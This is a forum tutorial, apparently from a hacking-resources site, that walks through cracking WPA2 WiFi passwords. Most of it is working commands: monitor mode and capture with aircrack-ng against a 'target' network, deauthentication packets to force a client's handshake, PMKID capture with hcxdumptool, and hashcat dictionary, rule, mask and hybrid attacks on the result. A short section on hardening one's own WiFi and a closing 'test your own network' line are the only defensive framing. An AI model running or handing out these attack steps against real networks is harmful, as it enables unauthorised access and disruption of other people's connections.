# 🔓 Crack Any WPA2 WiFi Password on Windows — Full Step-by-Step Guide

**URL:** <https://onehack.st/t/crack-any-wpa2-wifi-password-on-windows-full-step-by-step-guide/319033>\
**Category:** Tutorials & Methods\
**Tags:** tools, hacking\
**Created:** [February 28, 2026, 8:37pm UTC](https://onehack.st/t/crack-any-wpa2-wifi-password-on-windows-full-step-by-step-guide/319033 "2026-02-28T20:37:22Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![NoBody](https://onehack.st/user_avatar/onehack.st/nobody/32/163880_2.png) [@NoBody](https://onehack.st/u/NoBody)\
**Post date:** [February 28, 2026, 8:37pm UTC](https://onehack.st/t/crack-any-wpa2-wifi-password-on-windows-full-step-by-step-guide/319033/1 "2026-02-28T20:37:23Z")

</div>

# ⚡ Capture the Handshake, Feed It to Your GPU, Watch It Crack

_Capture the handshake. Feed it to your GPU. Watch 5 million guesses per second do the rest._

> _Most home WiFi passwords live inside a 14-million-word list that’s been public since 2009. This tutorial shows you exactly how that works._

**WPA2-PSK protects 90% of home networks. It’s crackable with a $30 adapter, hashcat, and a wordlist. Every cracking step runs natively on Windows.**

* * *

> **🧠 How WPA2 Cracking Actually Works — Plain English**
>
> Think of your WiFi password as a secret handshake between your phone and your router. Every time a device connects, they exchange an encrypted conversation called a **4-way handshake** to prove they both know the password.
> 
> That handshake travels through the air as radio waves. Anyone with the right antenna can **capture** it. They can’t read the password directly — it’s encrypted — but they can take that encrypted blob offline and throw millions of guesses at it until one matches.
> 
> That’s what [hashcat](https://hashcat.net/hashcat/) does. It takes the captured handshake, runs your GPU at full blast, and tests millions of passwords per second against it. If the password exists in a common wordlist like `rockyou.txt` — 14 million leaked real passwords — it cracks in seconds.
> 
> | Concept | What It Means |
> | --- | --- |
> | **4-way handshake** | Encrypted proof that a device knows the WiFi password — captured over the air |
> | **Hashcat** | GPU-powered tool that tests millions of password guesses per second against a captured handshake |
> | **Wordlist (rockyou.txt)** | 14 million+ real passwords leaked from breaches — covers ~70% of home WiFi passwords |
> | **Monitor mode** | Special adapter mode that listens to ALL wireless traffic, not just your network |
> | **Deauthentication** | Sending a disconnect signal to force a device to reconnect — triggering a fresh handshake |
> 
> ⚡ **Pro tip:** There’s also a newer attack called **PMKID** that grabs a hash directly from the router without needing any connected clients. Faster and cleaner — covered in the advanced section below.

> **⚙️ What You Need — Hardware & Software**
>
> | Component | What It Does | Where to Get It |
> | --- | --- | --- |
> | **WiFi adapter with monitor mode** | Built-in WiFi cards can’t capture raw packets — you need an external adapter that supports monitor mode + packet injection | [Alfa AWUS036ACH](https://www.alfa.com.tw/) — most recommended. Any Realtek RTL8812AU or Atheros chipset works. |
> | **Kali Linux (bootable USB)** | The capture phase needs Linux tools. Boot from USB, capture, reboot to Windows. | [kali.org/get-kali](https://www.kali.org/get-kali/) |
> | **Hashcat** (Windows native) | GPU-accelerated password cracker. Runs natively on Windows — no Linux needed for cracking. | [hashcat.net/hashcat](https://hashcat.net/hashcat/) |
> | **rockyou.txt wordlist** | 14 million+ real leaked passwords | Included in Kali at `/usr/share/wordlists/rockyou.txt.gz` — copy to USB |
> | **hcxtools / cap2hashcat** | Converts `.cap` capture files to hashcat’s `.hc22000` format | [Online converter](https://hashcat.net/cap2hashcat/) (no install) or [GitHub - hcxtools Windows](https://github.com/fatrolls/hcxtools-windows) |
> 
> **The Windows workflow in 3 stages:**
> 
> 1. 📡 **Capture** — Boot Kali from USB → capture handshake → save `.cap` file to USB stick (~5 min)
> 2. 🔄 **Convert** — Back on Windows → upload `.cap` to [hashcat.net/cap2hashcat](https://hashcat.net/cap2hashcat/) → download `.hc22000` file
> 3. 🔥 **Crack** — Run hashcat on Windows with your GPU → password appears
> 
> Linux time: 5 minutes total. Everything else is Windows.

> **📡 Step 1: Capture the Handshake (Kali USB)**
>
> Boot into Kali Linux from your USB drive. Plug in your external WiFi adapter.
> 
> **1.1 — Verify your adapter is detected:**
> 
> ```bash
> lsusb
> 
> ```
> 
> You should see your Alfa (or similar) adapter listed.
> 
> **1.2 — Enable monitor mode:**
> 
> ```bash
> airmon-ng start wlan0
> 
> ```
> 
> Your adapter is now `wlan0mon` — it listens to all wireless traffic in range.
> 
> **1.3 — Scan for networks:**
> 
> ```bash
> airodump-ng wlan0mon
> 
> ```
> 
> This displays every WiFi network nearby:
> 
> | Column | What It Shows |
> | --- | --- |
> | **BSSID** | Router’s MAC address (you need this) |
> | **CH** | Channel number (you need this) |
> | **ENC** | Encryption type — look for WPA2 |
> | **ESSID** | Network name |
> | **STATION** | Connected client devices (you need one of these) |
> 
> Note down the **BSSID** , **channel** , and one **client MAC address** of your target network.
> 
> **1.4 — Focus on the target and start recording:**
> 
> ```bash
> airodump-ng -c [CHANNEL] --bssid [TARGET_BSSID] -w capture wlan0mon
> 
> ```
> 
> This locks onto one network and saves all traffic to `capture-01.cap`.
> 
> **1.5 — Force a handshake (deauthentication):**
> 
> Open a second terminal:
> 
> ```bash
> aireplay-ng -0 5 -a [TARGET_BSSID] -c [CLIENT_MAC] wlan0mon
> 
> ```
> 
> This sends 5 disconnect packets to the client device. It drops off the network for a split second, reconnects automatically, and sends a fresh handshake through the air — which your adapter captures.
> 
> **1.6 — Confirm the handshake:**
> 
> Watch the top-right of your airodump-ng window. When you see:
> 
> ```auto
> WPA handshake: [MAC_ADDRESS]
> 
> ```
> 
> You have what you need. Press `Ctrl+C` to stop.
> 
> **1.7 — Copy files to USB:**
> 
> ```bash
> cp capture-01.cap /media/[YOUR_USB_DRIVE]/
> cp /usr/share/wordlists/rockyou.txt.gz /media/[YOUR_USB_DRIVE]/
> 
> ```
> 
> Reboot into Windows.

> **🔄 Step 2: Convert the Capture File (Windows)**
>
> Hashcat needs `.hc22000` format — not raw `.cap`. Two ways to convert:
> 
> **Option A — Online converter (easiest, no install):**
> 
> 1. Go to [hashcat.net/cap2hashcat](https://hashcat.net/cap2hashcat/)
> 2. Upload your `capture-01.cap` file
> 3. Download the converted `.hc22000` file
> 
> **Option B — hcxpcapngtool locally (Windows binary):**
> 
> Download pre-compiled Windows binaries from [hcxtools-windows on GitHub](https://github.com/fatrolls/hcxtools-windows), then:
> 
> ```auto
> hcxpcapngtool.exe -o hash.hc22000 capture-01.cap
> 
> ```
> 
> Either way, you now have a `hash.hc22000` file ready for cracking.

> **🔥 Step 3: Crack the Password (Hashcat on Windows)**
>
> Extract hashcat to a folder. Open Command Prompt or PowerShell. Decompress rockyou if needed:
> 
> ```auto
> gzip -d rockyou.txt.gz
> 
> ```
> 
> Or use 7-Zip to extract it.
> 
> **3.1 — Basic dictionary attack:**
> 
> ```auto
> hashcat.exe -m 22000 hash.hc22000 rockyou.txt
> 
> ```
> 
> | Flag | What It Does |
> | --- | --- |
> | `-m 22000` | WPA-PBKDF2-PMKID+EAPOL hash mode (modern WPA2) |
> | `hash.hc22000` | Your converted capture file |
> | `rockyou.txt` | 14 million passwords to try |
> 
> If the password is in the wordlist — it cracks in seconds to minutes depending on your GPU.
> 
> **3.2 — Dictionary + rules (smarter mutations):**
> 
> ```auto
> hashcat.exe -m 22000 hash.hc22000 rockyou.txt -r rules/best64.rule
> 
> ```
> 
> This takes every word in the list and mutates it — adding numbers, capitalizing, appending years, reversing letters. Catches passwords like `Fluffy2024!` that aren’t in the raw wordlist.
> 
> **3.3 — Brute-force digits only (phone numbers, PINs):**
> 
> ```auto
> hashcat.exe -m 22000 hash.hc22000 -a 3 --increment --increment-min 8 --increment-max 12 ?d?d?d?d?d?d?d?d?d?d?d?d
> 
> ```
> 
> Tests every possible combination of 8-12 digit numbers. Catches numeric-only passwords.
> 
> **3.4 — Hybrid: wordlist + digits appended:**
> 
> ```auto
> hashcat.exe -m 22000 hash.hc22000 -a 6 rockyou.txt ?d?d?d?d
> 
> ```
> 
> Tests every word with 4 digits appended — catches patterns like `monkey1234`, `dragon2025`.
> 
> **3.5 — Check results:**
> 
> ```auto
> hashcat.exe -m 22000 hash.hc22000 --show
> 
> ```
> 
> ⚡ **Performance tips:**
> 
> | Flag | Effect |
> | --- | --- |
> | `-w 3` | Maximum GPU workload (PC becomes unresponsive — fastest cracking) |
> | `-O` | Optimized kernels for passwords ≤15 characters (significant speed boost) |
> | `--force` | Override warnings (use if hashcat complains about drivers) |
> 
> **Expected speeds by GPU:**
> 
> | GPU | Approx. Speed |
> | --- | --- |
> | GTX 1060 | ~100K H/s |
> | RTX 3070 | ~500K H/s |
> | RTX 3090 | ~800K H/s |
> | RTX 4090 | ~1.2M H/s |

> **⚡ Advanced: PMKID Attack (No Clients Needed)**
>
> The classic method above requires a connected device to deauthenticate. The **PMKID attack** skips that entirely — it grabs a hash directly from the router.
> 
> Many routers cache a PMKID (Pairwise Master Key Identifier) for roaming. You can request it without any clients being connected.
> 
> **In Kali:**
> 
> ```bash
> # Stop interfering services
> sudo systemctl stop NetworkManager.service
> sudo systemctl stop wpa_supplicant.service
> 
> # Capture PMKIDs (runs for 60 seconds)
> sudo hcxdumptool -i wlan0 -o dumpfile.pcapng --active_beacon --enable_status=15
> 
> # Convert to hashcat format
> hcxpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng
> 
> ```
> 
> **Back on Windows — crack the same way:**
> 
> ```auto
> hashcat.exe -m 22000 hash.hc22000 rockyou.txt
> 
> ```
> 
> | Classic Handshake | PMKID |
> | --- | --- |
> | Needs a connected client | No clients needed |
> | Requires deauth + reconnect | Requests hash directly from router |
> | Can fail if no devices are online | Works on any vulnerable router |
> | Captures 4-way handshake | Captures PMKID from first handshake message |
> 
> Not every router is vulnerable to PMKID — but many are. Try it first. Fall back to classic deauth if it doesn’t work.

> **🛡️ How to Make YOUR WiFi Uncrackable**
>
> Everything above stops working the moment you fix your password.
> 
> | Fix | Why It Works |
> | --- | --- |
> | **15+ character random passphrase** | `correct-horse-battery-staple` takes centuries. `fluffy2024` takes seconds. Length wins. |
> | **Avoid dictionary words entirely** | If it’s in rockyou.txt — cracked before your GPU warms up |
> | **Enable WPA3** (if router supports it) | WPA3 uses SAE — immune to offline dictionary attacks entirely |
> | **Disable WPS** | WPS PIN can be brute-forced in hours. It’s a backdoor most people forget exists. |
> | **Use a random password generator** | `openssl rand -base64 20` or any password manager. No wordlist will ever contain it. |
> | **Check connected devices regularly** | Router admin panel → Attached Devices. Unknown MACs = someone’s already in. |
> 
> **The real lesson:** WPA2 isn’t broken — weak passwords are. A truly random 20-character password makes this entire tutorial useless. That’s the point.

> **🛠️ All Tools & Resources**
>
> | Tool | What It Does | Link |
> | --- | --- | --- |
> | **Hashcat** | GPU password cracker (Windows native) | [hashcat.net](https://hashcat.net/hashcat/) |
> | **Aircrack-ng** | Monitor mode, scanning, deauth, capture | [aircrack-ng.org](https://www.aircrack-ng.org/) |
> | **hcxdumptool** | PMKID + handshake capture tool | [GitHub](https://github.com/ZerBea/hcxdumptool) |
> | **hcxtools** | Convert captures to hashcat format | [GitHub](https://github.com/ZerBea/hcxtools) |
> | **hcxtools Windows** | Pre-compiled Windows binaries | [GitHub](https://github.com/fatrolls/hcxtools-windows) |
> | **cap2hashcat online** | Convert without installing anything | [hashcat.net/cap2hashcat](https://hashcat.net/cap2hashcat/) |
> | **Hashcat WPA2 wiki** | Official cracking documentation | [hashcat.net wiki](https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2) |
> | **Kali Linux** | Penetration testing OS (USB bootable) | [kali.org](https://www.kali.org/get-kali/) |
> | **Alfa AWUS036ACH** | Most recommended monitor-mode adapter | [alfa.com.tw](https://www.alfa.com.tw/) |

* * *

**⚡ Quick Hits**

| Want | Do |
| --- | --- |
| 📡 Capture handshake | → Kali USB → `airmon-ng` → `airodump-ng` → `aireplay-ng` |
| 📡 Capture PMKID (no clients) | → Kali → `hcxdumptool` → `hcxpcapngtool` |
| 🔄 Convert for hashcat | → [hashcat.net/cap2hashcat](https://hashcat.net/cap2hashcat/) |
| 🔥 Crack on Windows | → `hashcat.exe -m 22000 hash.hc22000 rockyou.txt` |
| 🛡 Protect your WiFi | → 15+ char random passphrase + WPA3 + disable WPS |

* * *

_Test your own network. Fix your own password. Don’t be the one running “password123” in 2026._